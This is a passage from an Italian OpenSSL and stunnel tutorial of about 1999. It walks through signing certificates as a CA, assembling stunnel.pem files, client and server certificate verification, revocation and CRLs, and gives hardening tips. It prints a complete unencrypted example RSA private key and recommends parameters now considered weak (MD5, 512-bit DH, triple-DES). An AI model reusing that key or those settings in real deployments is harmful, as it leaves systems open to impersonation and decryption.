f1:81:1b:76:a0:22:11:ed:1b:fa:27:50:dd:4d:b9:ca:5e:25: 91:23:2b:5d:14:b3:74:73:65:2d:29:b4:b0:b6:5d:b7:7f:54: 17:d4:99:fa:12:cc:f6:85:d8:ef:52:f6:d6:ce:32:78:55:7b: 5f:be ---< E' sufficente inviare la richiesta di certificazione (koba_req.pem - ATTENZIONE A NON INVIARE LA CHIAVE PRIVATA!) alla CA. Come "firmare" un certificato: Qualora siate voi stessi una CA, supponendo che abbiate gia' seguito le istruzioni riportate precedentemente per il setup "base" (struttura delle directory, chiavi pubbliche/privata della CA stessa, etc.), le procedure per la "firma" dei certificati degli utenti sono molto semplici: Copiamo (eventualmente sovrascrivendo il vecchio file) la richiesta di certificazione ricevuta (o generata da noi stessi per un nostro utente o server) nel file /usr/local/ssl/CA/newreq.pem . Ovviamente sara' opportuno, prima di firmare il certificato, CONTROLLARE la validita' dei dati contenuti nella richiesta (con openssl req -text -in newreq.pem); VERIFICARE che la richiesta sia stata generata REALMENTE dall'utente di cui risulta il nome; ASSICURARSI che non ci siano state "manipolazioni" durante l'invio del file, etc. . E' quindi fondamentale utilizzare strumenti di crittografia quali PGP (http://www.pgpi.org), oppure le funzionalita' S/MIME dei client di posta, oppure ricorrere al buon vecchio sistema del telefono/fax, etc., per verificare l'identita' dell'utente e l'integrita' della richiesta di certificato spedita. Puo' essere utile in questo caso il comando digest di openssl o il comando md5sum presente su molti sistemi unix (anche con nome leggermente differente). ---> shell (utente) kppc:~$ wc koba_req.pem 12 16 676 koba_req.pem kppc:~$ md5sum koba_req.pem daa5de3a1d0b159da0de4e90cb2665cb koba_req.pem kppc:~$ openssl dgst -md5 < koba_req.pem daa5de3a1d0b159da0de4e90cb2665cb kppc:~$ openssl dgst -sha1 < koba_req.pem 4aff5dac01408a0be0f8f85ebf1db3bd61414fd4 kppc:~$ openssl dgst -ripemd160 < koba_req.pem dc7d80016f608a2ba28c3488a4f72f51394f9b35 ---< ---> shell (CA) kppc:/usr/local/ssl/CA# md5sum newreq.pem daa5de3a1d0b159da0de4e90cb2665cb newreq.pem kppc:/usr/local/ssl/CA# openssl dgst -md5 < newreq.pem daa5de3a1d0b159da0de4e90cb2665cb kppc:/usr/local/ssl/CA# openssl dgst -sha1 < newreq.pem 4aff5dac01408a0be0f8f85ebf1db3bd61414fd4 kppc:/usr/local/ssl/CA# openssl dgst -ripemd160 < newreq.pem dc7d80016f608a2ba28c3488a4f72f51394f9b35 ---< Questi sono tre diversi digest (sha1, md5 e ripemd160) della richiesta di certificato che abbiamo generato. Utilizzando uno di questi comandi (md5 e' considerato il "meno sicuro") e' possibile ottenere una breve stringa UNIVOCA (in pratica: ad ogni file corrisponde una stringa digest diversa che non puo' venire generata con nessun altro file, a meno che non sia esattamente uguale), comunicabile facilmente via telefono o fax e tramite la quale la CA e l'utente possono confrontare la copia della richiesta di certificato per verificare che siano eguali (ovviamente i file devono essere esattamente uguali, spazi e a capo compresi - il comando wc conta linee, parole e caratteri di un file - se questi numeri differiscono, non avete speranza che il digest dia lo stesso risultato!) Possiamo finalmente procedere e "firmare" il certificato: ---> shell kppc:/usr/local/ssl/CA# CA.sh -sign ---< OPPURE ---> kppc:/usr/local/ssl/CA# openssl ca -policy policy_anything -out newcert.pem -infiles newreq.pem Using configuration from /usr/local/ssl/openssl.cnf Enter PEM pass phrase: Check that the request matches the signature Signature ok The Subjects Distinguished Name is as follows countryName :PRINTABLE:'IT' stateOrProvinceName :PRINTABLE:'ITALY' organizationName :PRINTABLE:'s0ftpj' organizationalUnitName:PRINTABLE:'Stunnel client' commonName :PRINTABLE:'Kobaiashi' emailAddress :IA5STRING:'koba@s0ftpj.org' Certificate is to be certified until Oct 31 21:48:14 2000 GMT (365 days) Sign the certificate? [y/n]:y 1 out of 1 certificate requests certified, commit? [y/n]y Write out database with 1 new entries Data Base Updated ---< Utilizzando CA.sh viene anche visualizzato a video il certificato firmato appena generato. "ca" e' il sottocomando di openssl destinato alla gestione delle funzionalita' di CA (openssl ca -help per un sommario dei comandi). L'opzione -policy specifica alcune regole aggiuntive che openssl controllera' prima di permettere la firma del certificato (che va comunque confermata "manualmente" per ben due volte). "policy_anything" di default richiede solamente che sia valorizzato ("supplied") il campo "commonName", mentre gli altri sono opzionali ("optional"). E' anche possibile modificare la policy in maniera che permetta di firmare certificati solamenta se alcuni dei campi sono valorizzati in maniera eguale agli omonimi campi del certificato della CA ("match"). ---> /usr/local/ssl/openssl.cnf (parte) # For the CA policy [ policy_match ] countryName = match stateOrProvinceName = match organizationName = match organizationalUnitName = optional commonName = supplied emailAddress = optional # For the 'anything' policy # At this point in time, you must list all acceptable 'object' # types. [ policy_anything ] countryName = optional stateOrProvinceName = optional localityName = optional organizationName = optional organizationalUnitName = optional commonName = supplied emailAddress = optional ---< E' da notare che queste opzioni agiscono PRIMA della fase di firma vera e propria, cioe' specificando un certificato NON valido per la policy che si intende utilizzare, non sara' possibile firmarlo. Queste opzioni non influenzano il comportamento di openssl e stunnel con i certificati gia' firmati! Dopo il "commit", openssl aggiorna sia il file serial che il file index.txt, e copia newcert.pem (il certificato firmato) nella directory newcerts/, chiamandolo xx.pem (dove xx e' il numero seriale del certificato, nel nostro esempio 01.pem): ---> shell kppc:/usr/local/ssl/CA# cat serial 02 kppc:/usr/local/ssl/CA# cat index.txt V 001031214814Z 01 unknown /C=IT/ST=ITALY/O=s0ftpj/OU=Stun nel client/CN=Kobaiashi/Email=koba@s0ftpj.org kppc:/usr/local/ssl/CA# cat newcert.pem issuer :/C=IT/ST=ITALY/O=s0ftpj/OU=Certification Authority/CN=Admin/Email=admin @s0ftpj.org subject:/C=IT/ST=ITALY/O=s0ftpj/OU=Stunnel client/CN=Kobaiashi/Email=koba@s0ftp j.org serial :01 Certificate: Data: Version: 3 (0x2) Serial Number: 1 (0x1) Signature Algorithm: md5WithRSAEncryption Issuer: C=IT, ST=ITALY, O=s0ftpj, OU=Certification Authority, CN=Admin/ Email=admin@s0ftpj.org Validity Not Before: Nov 1 21:48:14 1999 GMT Not After : Oct 31 21:48:14 2000 GMT Subject: C=IT, ST=ITALY, O=s0ftpj, OU=Stunnel client, CN=Kobaiashi/Emai l=koba@s0ftpj.org Subject Public Key Info: Public Key Algorithm: rsaEncryption RSA Public Key: (1024 bit) Modulus (1024 bit): 00:a5:41:7d:7e:85:5c:c8:02:24:81:ce:fa:00:12: 1e:9e:bf:a2:01:9b:54:9c:f9:d9:6a:99:41:fa:f7: 86:62:31:f9:76:52:7f:f7:2e:59:b8:07:0f:3f:49: a1:55:5b:54:c5:f1:0f:5f:ea:22:c4:37:81:17:e6: 46:4c:c9:89:4b:4b:21:ae:6d:ed:d0:c7:5d:f7:71: cd:bf:aa:48:7f:b0:f1:4e:0f:6a:e1:84:25:a5:6a: db:e4:52:d3:03:d0:99:35:74:fd:f4:08:f9:6d:96: ed:36:26:c1:c5:32:7b:7e:1c:cb:ac:46:5d:82:50: 8e:d4:8c:ee:c8:18:a6:5c:c3 Exponent: 65537 (0x10001) X509v3 extensions: X509v3 Basic Constraints: CA:FALSE Netscape Comment: OpenSSL Generated Certificate X509v3 Subject Key Identifier: 85:8D:0E:12:94:51:BD:1C:20:F7:65:52:B1:9D:89:B6:B2:67:7F:FB X509v3 Authority Key Identifier: keyid:54:02:32:70:F4:C4:65:67:DB:B8:B4:8E:BE:9A:74:17:D8:29:CA: 8B DirName:/C=IT/ST=ITALY/O=s0ftpj/OU=Certification Authority/CN=A dmin/Email=admin@s0ftpj.org serial:00 Signature Algorithm: md5WithRSAEncryption 59:b0:40:03:b9:5f:84:c0:fb:1d:e6:94:03:80:31:e8:ce:78: 10:59:6f:6f:85:da:0b:73:cf:8e:cf:af:83:aa:72:58:2a:e2: 65:6b:42:9c:3e:00:63:7f:64:cc:8b:70:8b:82:74:f5:a5:8c: 82:9e:56:51:f6:9d:37:c1:26:54:4d:6d:35:30:fe:d6:b4:fe: 51:09:e6:86:87:60:73:99:3e:b8:44:af:b6:9f:01:26:07:7a: a0:d9:17:95:65:9f:28:86:7b:39:e3:2f:dc:71:9e:2c:44:ce: 50:ca:8f:6d:5c:63:26:b6:aa:d6:d1:03:b1:9d:7f:34:b5:94: 03:91 -----BEGIN CERTIFICATE----- MIIDgjCCAuugAwIBAgIBATANBgkqhkiG9w0BAQQFADCBgTELMAkGA1UEBhMCSVQx DjAMBgNVBAgTBUlUQUxZMQ8wDQYDVQQKEwZzMGZ0cGoxIDAeBgNVBAsTF0NlcnRp ZmljYXRpb24gQXV0aG9yaXR5MQ4wDAYDVQQDEwVBZG1pbjEfMB0GCSqGSIb3DQEJ ARYQYWRtaW5AczBmdHBqLm9yZzAeFw05OTExMDEyMTQ4MTRaFw0wMDEwMzEyMTQ4 MTRaMHsxCzAJBgNVBAYTAklUMQ4wDAYDVQQIEwVJVEFMWTEPMA0GA1UEChMGczBm dHBqMRcwFQYDVQQLEw5TdHVubmVsIGNsaWVudDESMBAGA1UEAxMJS29iYWlhc2hp MR4wHAYJKoZIhvcNAQkBFg9rb2JhQHMwZnRwai5vcmcwgZ8wDQYJKoZIhvcNAQEB BQADgY0AMIGJAoGBAKVBfX6FXMgCJIHO+gASHp6/ogGbVJz52WqZQfr3hmIx+XZS f/cuWbgHDz9JoVVbVMXxD1/qIsQ3gRfmRkzJiUtLIa5t7dDHXfdxzb+qSH+w8U4P auGEJaVq2+RS0wPQmTV0/fQI+W2W7TYmwcUye34cy6xGXYJQjtSM7sgYplzDAgMB AAGjggENMIIBCTAJBgNVHRMEAjAAMCwGCWCGSAGG+EIBDQQfFh1PcGVuU1NMIEdl bmVyYXRlZCBDZXJ0aWZpY2F0ZTAdBgNVHQ4EFgQUhY0OEpRRvRwg92VSsZ2JtrJn f/swga4GA1UdIwSBpjCBo4AUVAIycPTEZWfbuLSOvpp0F9gpyouhgYekgYQwgYEx CzAJBgNVBAYTAklUMQ4wDAYDVQQIEwVJVEFMWTEPMA0GA1UEChMGczBmdHBqMSAw HgYDVQQLExdDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eTEOMAwGA1UEAxMFQWRtaW4x HzAdBgkqhkiG9w0BCQEWEGFkbWluQHMwZnRwai5vcmeCAQAwDQYJKoZIhvcNAQEE BQADgYEAWbBAA7lfhMD7HeaUA4Ax6M54EFlvb4XaC3PPjs+vg6pyWCriZWtCnD4A Y39kzItwi4J09aWMgp5WUfadN8EmVE1tNTD+1rT+UQnmhodgc5k+uESvtp8BJgd6 oNkXlWWfKIZ7OeMv3HGeLETOUMqPbVxjJraq1tEDsZ1/NLWUA5E= -----END CERTIFICATE----- ---< Possiamo ora rispedire il certificato "firmato" all'utente. ---> shell kppc:/usr/local/ssl/CA# openssl x509 -in newcert.pem -out koba_signed.pem ---< Se abbiamo generato anche la chiave privata dell'utente, oppure una chiave da usare su un nostro server, sara' necessario inserire anche questa all'interno del file (in seguito e' spiegato come creare un certificato utilizzabile come "stunnel.pem". In questo caso, e' consigliabile spedire all'utente o al sysadm il certificato "fatto e finito"). Ovviamente, se spedite anche la chiave privata, E' ASSOLUTAMENTE NECESSARIO CHE QUESTA COMUNICAZIONE AVVENGA IN MANIERA PROTETTA! Personalmente trovo utile rinominare new_cert.pem in qualcosa tipo kobaiashi_signed.pem e newreq.pem in qualcosa tipo kobaiashi_req.pem e spostarli in una directory qualsiasi (tipo /certs) come "history", visto che i certificati firmati da openssl sono posizionati in /newcerts e identificabili solamente tramite il serial (01.pem, 02.pem, etc. - l'indice e' contenuto in index.txt). Se avete generato direttamente il certificato per l'utente, consiglio di spostare la chiave privata dell'utente nella directory /private, rinominandola koba_private.req o qualcosa di simile. Sara' vostra cura controllare i permessi delle directory e dei file, in maniera che i file contenenti le chiavi private (anche quelle generate nei vari passaggi) NON siano leggibili da chiunque non ne abbia diritto (generalmente, nessuno all'infuori di voi :) o vengano cancellate (possibilmente sovrascritte o "wipeate"). Let's go! Vediamo ora come, da un file contenente la chiave privata (newreq.pem) e da un file contenente il certificato firmato (koba_signed.pem), generare uno "stunnel.pem" valido per essere utilizzato con stunnel. Se abbiamo ricevuto il certificato da una CA, sara' opportuno verificare l'effettiva validita' della firma. ---> shell kppc:~$ openssl verify koba_signed.pem koba_signed.pem: /C=IT/ST=ITALY/O=s0ftpj/OU=Stunnel client/CN=Kobaiashi/Email=koba@s0ftpj.org error 20 at 0 depth lookup:unable to get local issuer certificate ---< In questo esempio, la verifica e' "fallita", perche' la chiave pubblica della CA non e' presente nella directory usr/local/ssl/certs o questa directory non e' correttamente "hashata" (vedere la sezione "Come funziona tecnicamente"). Possiamo ovviare (temporaneamente) passando direttamente la chiave pubblica della CA con l'opzione -CAfile: ---> shell kppc:~$ openssl verify -CAfile s0ftpj_CA.pem koba_signed.pem koba_signed.pem: OK ---< oppure copiare la chiave pubblica nella corretta posizione e ricreare le hash necessarie ad openssl per ritrovare le chiavi (probabilmente sono necessari i permessi root per eseguire queste operazioni) ---> shell kppc:~# cp s0ftpj_CA.pem /usr/local/ssl/certs/ kppc:~# cd /usr/local/ssl/certs kppc:/usr/local/ssl/certs# ls -l total 2 -rw-r--r-- 1 root root 1224 Nov 1 23:52 s0ftpj_CA.pem kppc:/usr/local/ssl/certs# /usr/local/ssl/bin/c_rehash Doing /usr/local/ssl/certs s0ftpj_CA.pem => 901428a0.0 kppc:/usr/local/ssl/certs# ls -l total 2 lrwxrwxrwx 1 root root 13 Nov 2 00:17 901428a0.0 -> s0ftpj_CA.pem -rw-r--r-- 1 root root 1224 Nov 1 23:52 s0ftpj_CA.pem ---< Estraiamo quindi la chiave privata ed il certificato firmato e generiamo un unico file, che chiameremo koba_stunnel.pem (se ci servira per stunnel_client) o stunnel.pem (per il server). ---> shell kppc:~$ openssl rsa -in newreq.pem -out koba_stunnel.pem read RSA private key Enter PEM pass phrase: writing RSA private key kppc:~$ openssl x509 -in koba_signed.pem >> koba_stunnel.pem kppc:~$ cat koba_stunnel.pem ----BEGIN RSA PRIVATE KEY----- MIICXgIBAAKBgQClQX1+hVzIAiSBzvoAEh6ev6IBm1Sc+dlqmUH694ZiMfl2Un/3 Llm4Bw8/SaFVW1TF8Q9f6iLEN4EX5kZMyYlLSyGube3Qx133cc2/qkh/sPFOD2rh hCWlatvkUtMD0Jk1dP30CPltlu02JsHFMnt+HMusRl2CUI7UjO7IGKZcwwIDAQAB AoGBAJ2Dvd1Ruqz9tdRw90QIAV2pJP9JEi6Jy51atVREiLeiELiiTEzLxkKtn+/f +8JDSptdeR0gK8FBcm/YUtuwIYa1pnauzJ/vyBHT3F/Tl7Rv+TO8XPWwzdZTe1JK PtV6hbu/4qM4dgv8GBQevudt9cXWXHPk8nCmBNfXB6eWUopRAkEA1JX2sH51IU8T 1X3sH1SSWA+TN6XL/JNjBsfaekLjzhpdlqYlmeGbOXELm2J2wvoz9p3z2ZSB9uvV Os8VT2PDGQJBAMcBGqsn6nGD/M98GZ8cCjMYFLWMHpEmkkRV2QOVwtpZWAtUv6wG AVRdyR6XLQpJqoVgtGHsdMwutmgjGwPOVjsCQQDDlQD0GjQbJAzEY2jE3mMRn6q7 DM+indsClwZba4T4zusBufRoIddUvruGBs3qzpTWNTXvHSGBEjIIPBOICempAkBc oQXxzwWQSvhc943RgrK4r6fMDWmY9JQ2nKMDySzGh7m0pIEHKFBsHa9kvsdnN3zY 0neD8RU4iTG8bULA1cVLAkEAn9UGPYgK/tPv1WD6MP3X768yVpP3JFIhaA/fD/Xe 091VewNkm09BLOTY0xQl7rjOTcfGQqNDV3NFi0h4xYSoLQ== -----END RSA PRIVATE KEY----- -----BEGIN CERTIFICATE----- MIIDgjCCAuugAwIBAgIBATANBgkqhkiG9w0BAQQFADCBgTELMAkGA1UEBhMCSVQx DjAMBgNVBAgTBUlUQUxZMQ8wDQYDVQQKEwZzMGZ0cGoxIDAeBgNVBAsTF0NlcnRp ZmljYXRpb24gQXV0aG9yaXR5MQ4wDAYDVQQDEwVBZG1pbjEfMB0GCSqGSIb3DQEJ ARYQYWRtaW5AczBmdHBqLm9yZzAeFw05OTExMDEyMTQ4MTRaFw0wMDEwMzEyMTQ4 MTRaMHsxCzAJBgNVBAYTAklUMQ4wDAYDVQQIEwVJVEFMWTEPMA0GA1UEChMGczBm dHBqMRcwFQYDVQQLEw5TdHVubmVsIGNsaWVudDESMBAGA1UEAxMJS29iYWlhc2hp MR4wHAYJKoZIhvcNAQkBFg9rb2JhQHMwZnRwai5vcmcwgZ8wDQYJKoZIhvcNAQEB BQADgY0AMIGJAoGBAKVBfX6FXMgCJIHO+gASHp6/ogGbVJz52WqZQfr3hmIx+XZS f/cuWbgHDz9JoVVbVMXxD1/qIsQ3gRfmRkzJiUtLIa5t7dDHXfdxzb+qSH+w8U4P auGEJaVq2+RS0wPQmTV0/fQI+W2W7TYmwcUye34cy6xGXYJQjtSM7sgYplzDAgMB AAGjggENMIIBCTAJBgNVHRMEAjAAMCwGCWCGSAGG+EIBDQQfFh1PcGVuU1NMIEdl bmVyYXRlZCBDZXJ0aWZpY2F0ZTAdBgNVHQ4EFgQUhY0OEpRRvRwg92VSsZ2JtrJn f/swga4GA1UdIwSBpjCBo4AUVAIycPTEZWfbuLSOvpp0F9gpyouhgYekgYQwgYEx CzAJBgNVBAYTAklUMQ4wDAYDVQQIEwVJVEFMWTEPMA0GA1UEChMGczBmdHBqMSAw HgYDVQQLExdDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eTEOMAwGA1UEAxMFQWRtaW4x HzAdBgkqhkiG9w0BCQEWEGFkbWluQHMwZnRwai5vcmeCAQAwDQYJKoZIhvcNAQEE BQADgYEAWbBAA7lfhMD7HeaUA4Ax6M54EFlvb4XaC3PPjs+vg6pyWCriZWtCnD4A Y39kzItwi4J09aWMgp5WUfadN8EmVE1tNTD+1rT+UQnmhodgc5k+uESvtp8BJgd6 oNkXlWWfKIZ7OeMv3HGeLETOUMqPbVxjJraq1tEDsZ1/NLWUA5E= -----END CERTIFICATE----- ---< Se intendiamo poter utilizzare con stunnel la negoziazione DH, dobbiamo anche aggiungere a stunnel.pem (sia sul client che sul server) uno "strong prime" DH (altrimenti la negoziazione SSL avverra' sempre utilizzando RSA e verra' visualizzato un "warning" nel syslog). ---> shell kppc:~$ openssl gendh -rand /dev/random >> koba_stunnel.pem 89 semi-random bytes loaded Generating DH parameters, 512 bit long strong prime, generator of 2 This is going to take a long time ............................+.................................................. ..................................................................+............ .....+.+.....................+...................+.......................+.+..+ .............................+.....+.................+.....................+... ............................................................................+.. ...........................+..................................................+ +*++*++*++*++* ---< verranno aggiunte al file le seguente righe: ---> koba_stunnel.pem (parte) -----BEGIN DH PARAMETERS----- MEYCQQDIWCaS+HpRSmsoB6AhgM8qcdnfIgJ1vfFUkQljsiu5vEyBLfQt0/hDnim8 9KZyv/FAcevvh4zOEvG9VNZOEwKLAgEC -----END DH PARAMETERS----- ---< Nell'esempio abbiamo generato un file che puo' essere utilizzato sia per un client, che per un server. In questo secondo caso, per comodita', e' consigliabile rinominare il file in stunnel.pem e spostarlo in /usr/local/certs, PROTEGGENDOLO DA LETTURA con i permessi appropriati (ricordo, per l'ennesima volta, che questo file contiene anche la chiave RSA privata NON CIFRATA e chiunque abbia accesso a questo file potra' fingere di essere il vostro stunnel_server). Utilizzo di stunnel_client con verifica: La sintassi di stunnel_client non cambia rispetto a quanto specificato precedentemente.. aggiungeremo il parametro -p certificato e -v 2 stunnel -c -d 127.0.0.1:1110 -r mail.s0ftpj.org 995 -p koba_stunnel.pem -v 2 Se il parametro -p non viene fornito, il client utilizzera' /usr/local/ssl/certs/stunne.pem (se presente e leggibile). (ricordo che nella directory /usr/local/ssl/certs deve essere presente il certificato pubblico della CA che ha firmato il certificato del server a cui vogliamo collegarci, opportunamente "hashato" e leggibile dall'utente con cui lanciamo stunnel_client) Utilizzo di stunnel_server con verifica: Anche la sintassi del server non cambia molto... Assumiamo che la chiave privata ed il certificato siano contenuti nel file /usr/local/ssl/certs/stunnel.pem (e' comunque possibile specificare un file diverso tramite il parametro -p). 995 stream tcp nowait stunnel /usr/local/sbin/stunnel stunnel -r 110 -v 3 Il parametro -v 3 FORZA il server a verificare il certificato fornito dal client, oltre che per una firma valida della CA anche con una copia dello stesso presente IN LOCALE (nella directory /usr/local/ssl/certs/mytrusted, modificabile con -a). Ovviamente sara' necessario inserire in questa directory TUTTI i certificati pubblici degli utenti che sono autorizzati ad accedere alle risorse protette con stunnel, e procedere a "hashare" la directory (e' possibile utilizzare c_rehash /usr/local/ssl/certs/mystrusted per automatizzare questa operazione). Qualora un utente precedentemente "valido" non debba piu' essere autorizzato ad accedere alle risorse, sara' sufficente cancellare la copia del certificato presente in mytrusted. Questo e', in stunnel, l'unico sistema per negare l'accesso ad un client in possesso di un certificato firmato da una CA valida (salvo che non sia scaduto), POICHE' NON E' POSSIBILE utilizzare CRL. Utilizzando il parametro -v 2 anche nel server, TUTTI gli utenti in possesso di un certificato regolarmente firmato da una CA di quelle "autorizzate" (cioe' tutte quelle di cui sono presenti i certificati in /usr/local/ss/certs) potranno accedere alle risorse. Revoca certificati/CRL/etc. Devo ammettere che non ho utilizzato molto le funzionalita' di crl di openssl se non per qualche prova necessarie alla stesura di questo articolo, quindi le trattero' in maniera piuttosto superficiale. E' da notare che questo capitolo e' stato incluso piu' per "completezza" che per una reale esigenza. Ne stunnel, ne nessun'altra applicazione che utilizzi le funzioni standard di openssl per la verifica dei certificati (da /usr/local/ssl/certs) tengono infatti conto di un eventuale CRL, anche se posizionata in questa directory. Sebbene siano presenti in openssl delle funzioni di lettura e gestione CRL, il software deve ESPLICITAMENTE richiamare queste funzioni. Per revocare un certificato la sintassi e' la seguente: ---> shell kppc:/usr/local/ssl/CA# openssl ca -revoke newcerts/01.pem Using configuration from /usr/local/ssl/openssl.cnf Enter PEM pass phrase: Revoking Certificate 01. Data Base Updated kppc:/usr/local/ssl/CA# cat index.txt R 001031214814Z 991102003217Z 01 unknown /C=IT/ST=ITALY/O=s0ftpj /OU=Stunnel client/CN=Kobaiashi/Email=koba@s0ftpj.org ---< con -revoke viene passato il file contenente il certificato da revocare. In questo caso ho passato come parametro il file newcerts/01.pem, dopo aver verificato in index.txt quale fosse il nome del file corrispondente al certificato che intendevo revocare. In questo stesso file possiamo notare i cambiamenti apportati da openssl dopo la revoca. Il primo carattere della riga che descrive il certificato interessato, e' stato sostituito con "R" (valori possibili "V" - valido, "R" - revocato, "E" - scaduto). Dopo ogni revoca di certificato (e ad intervalli regolari, tipo una volta al giorno, etc.) e' opportuno emettere una CRL da rendere pubblica, in modo che sia possibile per i vari client e server aggiornare l'elenco dei certificati non piu' validi. ---> shell kppc:/usr/local/ssl/CA# openssl ca -gencrl -crldays 1 -out s0ftpj-crl.pem Using configuration from /usr/local/ssl/openssl.cnf Enter PEM pass phrase: kppc:/usr/local/ssl/CA# cat s0ftpj_CA.crl -----BEGIN X509 CRL----- MIIBRzCBsTANBgkqhkiG9w0BAQQFADCBgTELMAkGA1UEBhMCSVQxDjAMBgNVBAgT BUlUQUxZMQ8wDQYDVQQKEwZzMGZ0cGoxIDAeBgNVBAsTF0NlcnRpZmljYXRpb24g QXV0aG9yaXR5MQ4wDAYDVQQDEwVBZG1pbjEfMB0GCSqGSIb3DQEJARYQYWRtaW5A czBmdHBqLm9yZxcNOTkxMTAyMDAyNzUwWhcNOTkxMjAyMDAyNzUwWjANBgkqhkiG 9w0BAQQFAAOBgQA5i/d0fuCAcjpZ9GNZmwuLdeXdAvkA2Ss1akhuYd7hTBPwg565 157GMzRkaNCz1PH91Aw5ZTdnAveDHWezvgOmrVfkJdSyqjvAJkMqTX+yyAhcumbV 0efru22k17Zw54S0Gc/kSDUlITx9wxB2ybpOMqoINuYMD6X+3ytJCbwTfA== -----END X509 CRL----- kppc:/usr/local/ssl/CA# openssl crl -text -noout -in s0ftpj-crl.pem Certificate Revocation List (CRL): Version 1 (0x0) Signature Algorithm: md5WithRSAEncryption Issuer: /C=IT/ST=ITALY/O=s0ftpj/OU=Certification Authority/CN=Admin/Ema il=admin@s0ftpj.org Last Update: Nov 2 00:41:16 1999 GMT Next Update: Nov 3 00:41:16 1999 GMT Revoked Certificates: Serial Number: 01 Revocation Date: Nov 2 00:32:17 1999 GMT Signature Algorithm: md5WithRSAEncryption 81:65:d7:66:a9:58:f6:82:33:96:98:a1:78:03:13:c7:49:3a: 84:1e:4c:f2:f7:14:d2:7d:59:49:c6:a9:f3:78:c0:fa:1d:01: 9e:fc:8b:c7:98:ac:07:c0:a5:43:c5:54:b4:23:82:d7:51:2e: a6:0a:2f:49:1a:4b:f8:ca:f3:b9:50:e8:28:0b:6c:c8:7b:c9: ec:d5:16:2b:9f:19:59:ca:ad:79:14:29:ce:db:2a:64:7a:de: 1c:d2:4c:f1:2a:45:f6:3d:d9:3f:44:18:ca:be:73:23:db:09: 22:b9:d0:c7:d7:7f:c4:d0:3e:4a:b8:30:b9:5b:23:e1:7c:5f: 85:a6 ---< Con il primo comando abbiamo generato una CRL. Il parametro -crldays 1 specifica che la prossima CRL sara' emessa tra un giorno esatto (ovviamente dovra' essere generata "a mano" o tramite uno script, questa e' solo un'informazione che i vari utenti possono ricavare analizzando la CRL emessa, NON un comando tramite il quale rilanciare automaticamente openssl tra 24 ore). Il secondo comando visualizza la CRL cosi' come e' stata generata. Il terzo ne visualizza il contenuto in forma testuale. E' da notare che ogni CRL generata con openssl conterra' comunque l'elenco di tutti i certificati revocati, anche se nel frattempo fossero scaduti. Sara' cura della CA mettere a disposizione degli utenti e dei server la CRL in maniera che sia possibile per loro aggiornare periodicamente la copia locale con quella nuova (p. es. via web: www.s0ftpj.org/crl.pem). Ovviamente sara' cura dei server o dei client effettuare realmente questo aggiornamento! Note e consigli vari: - Lavorate IN LOCALE o utilizzando ssh per generare i certificati, altrimenti un eventuale attaccante potrebbe "carpire" la password che utilizzate per il certificato (o peggio, quella della CA) e tutto questo documento risulterebbe inutile! - La chiave privata di stunnel (sia utilizzato come client che come server) NON E' CRITTOGRAFATA su disco, quindi tenetela sempre con mask r-------- (600) o rw-r----- (640) se utilizzate il sistema del doppio id e, in caso di compromissione della sicurezza del sistema, CAMBIATELA (ma in questo caso avete problemi ben piu gravi :). - Non utilizzate come chiave di stunnel la stessa chiave che utilizzate per altre cose, come firmare la posta o accedere a server web via ssl. - Non utilizzate SOLAMENTE la certificazione di stunnel come autentificazione. Se il servizio a cui vi connettete prevede un'autenticazione (password, etc.), utilizzatela! - Non utilizzate la chiave di stunnel per certificare le chiavi dei client e viceversa. Utilizzate una chiave apposita (preferibilmente a 1024 o 2048 bit) solo per la CA, con cui certificare sia i server che i client. NON tenete la chiave della CA su un sistema accessibile e comunque PROTEGGETELA SEMPRE CON PASSWORD. - Ricordate che se utilizzate stunnel su una macchina di cui non siete (o non siete gli unici) root, e' possibile COMUNQUE per il sysadm (o qualcuno con privilegi simili) "intercettare" le vostre comunicazioni (con uno sniffer sull'interfaccia lo se usate un redirect, con un po' di sbattimento se usate -l) e fare _qualsiasi_ altra cosa (modificare openssl per rubarvi le password, etc.). - Ricordate che i generatori di numeri "casuali" su computer non sono poi COSI' causali. Configurate /usr/local/ssl/openssl.cnf per usare dati realmente random (/dev/random sotto Linux recenti e /dev/srandom sotto OpenBSD dovrebbero fornire sufficente sicurezza per un utilizzo "casalingo"). La configurazione di default di openssl utilizza un file di nome .rnd nella home dell'utente - al primo utilizzo questo file e' VUOTO; quindi copiateci sopra un file qualsiasi (tipo l'mp3 del vostro gatto che miagola) - ogni volta che openssl utilizza .rnd lo modifica, ma sicuramente e' consigliabile sostituirlo prima dell'utilizzo con dati casuali - il piu' casuali possibile; senza copiare .rnd ogni volta, e' possibile usare in openssl il parametro -rand file:file:file :) - Ricordate che quello che cancellate da un disco, non viene distrutto, ma e' possibile per chiunque (root) con un disk-editor e, anche se sovrascritto, da specialisti con attrezzature apposite, ritrovarne il contenuto. Non generate le chiavi su sitemi accessibili pubblicamente e utilizzate wipe o un software analogo [http://users.erols.com/thomassr/zero/download/wipe/ oppure http://gsu.linux.org.tr/wipe/] per _provare_ a cancellare "seriamente" i file. - Non fate girare stunnel sul server (neanche sui client sarebbe il caso :) con privilegi di root. Se intendete bindare stunnel su una porta privilegiata (<=1024) utilizzatelo da inetd oppure utilizzate un ambiente chroot (stunnel da solo non lo fa, vi servono software tipo authbind o simili) - In modalita' client, SPECIFICATE come ip da cui accettare le connessioni SEMPRE E SOLO 127.0.0.1 (localhost), altrimenti sara' possibile per chiunque possa raggiungere l'indirizzo ip pubblico della vostra macchina utilizzarla come "bouncer" per accedere al servizio protetto. Se ci sono altri utenti che utilizzano la vostra macchina, utilizzate l'identd (opzione -u di stunnel) oppure hosts.deny e/o hosts.allow. - Se sul server intendete lasciare accessibile un servizio SOLAMENTE tramite stunnel e lo utilizzate per accettare connessioni da remoto e "rigirarle" verso una porta locale, RICORDATEVI di chiudere la porta "reale" a chiunque non sia 127.0.0.1 tramite firewall o tcp_wrappers (o tutti e due :) - se avete utenti con accesso locale e volete comunque impedirgli di utilizzare quella risorse, "allora sono cavoli tuoi sorella"(*) - ehm, provate con l'identd (sui client reali, NON su stunnel, altrimenti autentichera' l'utente utilizzando l'identd remoto, che un eventuale assalitore puo' tranquillamente "falsificare") oppure con i parametri in hosts.deny e/o hosts.allow. Ovviamente se e' possibile spoofare dall'esterno come "127.0.0.1" queste precauzioni sono inutili (e i vostri problemi sono ben maggiori), ma per questo vi rimando al mio prossimo articolo sui firewall :) - Se avete paura che il Mossad o l'NSA possano intercettare le vostre comunicazioni, specificate nel server il parametro -C EDH-RSA-DES-CBC3-SHA (triple-des) o altre CipherSuite considerate "sicure". Questo parametro costringe il server a permettere la connessione solamente ai client che 